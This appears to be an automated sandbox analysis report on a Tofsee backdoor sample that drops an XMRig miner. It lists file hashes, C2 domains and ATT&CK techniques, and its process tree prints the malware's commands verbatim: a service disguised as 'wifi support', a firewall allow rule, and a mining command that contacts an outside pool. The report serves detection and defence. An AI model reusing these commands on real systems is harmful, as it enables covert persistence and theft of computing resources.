Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2022 20:03

General

  • Target

    ecb302e999e0959abd9bdd330401ea9f.exe

  • Size

    196KB

  • MD5

    ecb302e999e0959abd9bdd330401ea9f

  • SHA1

    529e9342005a6295d865fa4d1188126229b2a0bd

  • SHA256

    eb6bda9737c6ace5c9f38b44dba312f18fe0bf044b4848817c17b4e1a74d90b9

  • SHA512

    1f084be926b1fe6f68bc0637e762c4d407a6f8b8d8a90b3f9157120beca96409d0cba495675f9fe1490f4c61840c96762d364ecb2dd27ac2376a4e526c38639f

  • SSDEEP

    3072:D1nI7LRgcLJA5gRrHSq6yz7F52jPaiPGONFHNRJtBc94al+/PkkXx:SLtLR5/hnSjSi+ONFtRKBl

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe
    "C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gjoghoh\
      2⤵
        PID:5040
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lzfwasre.exe" C:\Windows\SysWOW64\gjoghoh\
        2⤵
          PID:4792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gjoghoh binPath= "C:\Windows\SysWOW64\gjoghoh\lzfwasre.exe /d\"C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gjoghoh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gjoghoh
          2⤵
          • Launches sc.exe
          PID:1244
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4172
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 1036
          2⤵
          • Program crash
          PID:4292
      • C:\Windows\SysWOW64\gjoghoh\lzfwasre.exe
        C:\Windows\SysWOW64\gjoghoh\lzfwasre.exe /d"C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe"
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4624
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4848
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2320
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 508
          2⤵
          • Program crash
          PID:4988
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1268 -ip 1268
        1⤵
          PID:208
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4624 -ip 4624
          1⤵
            PID:3756

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lzfwasre.exe
            Filesize

            10.3MB

            MD5

            e4808a96df147a515a7e05e9367de35b

            SHA1

            3f9c52314e455a080074518cbbcc0f4432771a6f

            SHA256

            4b752e343702a0943603eca5feeff4e50b1d225d104873d14f1bb3d163185244

            SHA512

            b4d0064de92ef5dac276a78eabfd612ac82e0e9044db88e72bc9bebfe4fbd4365c54b34d2c0e17a359c79636eb2032097c371bded12a6f224970cebe004f43fc

          • C:\Windows\SysWOW64\gjoghoh\lzfwasre.exe
            Filesize

            10.3MB

            MD5

            e4808a96df147a515a7e05e9367de35b

            SHA1

            3f9c52314e455a080074518cbbcc0f4432771a6f

            SHA256

            4b752e343702a0943603eca5feeff4e50b1d225d104873d14f1bb3d163185244

            SHA512

            b4d0064de92ef5dac276a78eabfd612ac82e0e9044db88e72bc9bebfe4fbd4365c54b34d2c0e17a359c79636eb2032097c371bded12a6f224970cebe004f43fc

          • memory/1172-138-0x0000000000000000-mapping.dmp
          • memory/1244-140-0x0000000000000000-mapping.dmp
          • memory/1268-144-0x0000000000400000-0x000000000058B000-memory.dmp
            Filesize

            1.5MB

          • memory/1268-134-0x0000000000400000-0x000000000058B000-memory.dmp
            Filesize

            1.5MB

          • memory/1268-133-0x00000000022C0000-0x00000000022D3000-memory.dmp
            Filesize

            76KB

          • memory/1268-143-0x00000000006F8000-0x0000000000709000-memory.dmp
            Filesize

            68KB

          • memory/1268-132-0x00000000006F8000-0x0000000000709000-memory.dmp
            Filesize

            68KB

          • memory/2320-177-0x0000000000A10000-0x0000000000B01000-memory.dmp
            Filesize

            964KB

          • memory/2320-171-0x0000000000000000-mapping.dmp
          • memory/2320-172-0x0000000000A10000-0x0000000000B01000-memory.dmp
            Filesize

            964KB

          • memory/4172-142-0x0000000000000000-mapping.dmp
          • memory/4616-139-0x0000000000000000-mapping.dmp
          • memory/4624-149-0x0000000000694000-0x00000000006A4000-memory.dmp
            Filesize

            64KB

          • memory/4624-150-0x0000000000400000-0x000000000058B000-memory.dmp
            Filesize

            1.5MB

          • memory/4792-136-0x0000000000000000-mapping.dmp
          • memory/4848-145-0x0000000000000000-mapping.dmp
          • memory/4848-152-0x0000000000810000-0x0000000000825000-memory.dmp
            Filesize

            84KB

          • memory/4848-153-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/4848-156-0x0000000000BE0000-0x0000000000BE6000-memory.dmp
            Filesize

            24KB

          • memory/4848-159-0x0000000001BA0000-0x0000000001BB0000-memory.dmp
            Filesize

            64KB

          • memory/4848-162-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
            Filesize

            20KB

          • memory/4848-165-0x0000000007400000-0x000000000780B000-memory.dmp
            Filesize

            4.0MB

          • memory/4848-168-0x00000000029D0000-0x00000000029D7000-memory.dmp
            Filesize

            28KB

          • memory/4848-151-0x0000000000810000-0x0000000000825000-memory.dmp
            Filesize

            84KB

          • memory/4848-146-0x0000000000810000-0x0000000000825000-memory.dmp
            Filesize

            84KB

          • memory/5040-135-0x0000000000000000-mapping.dmp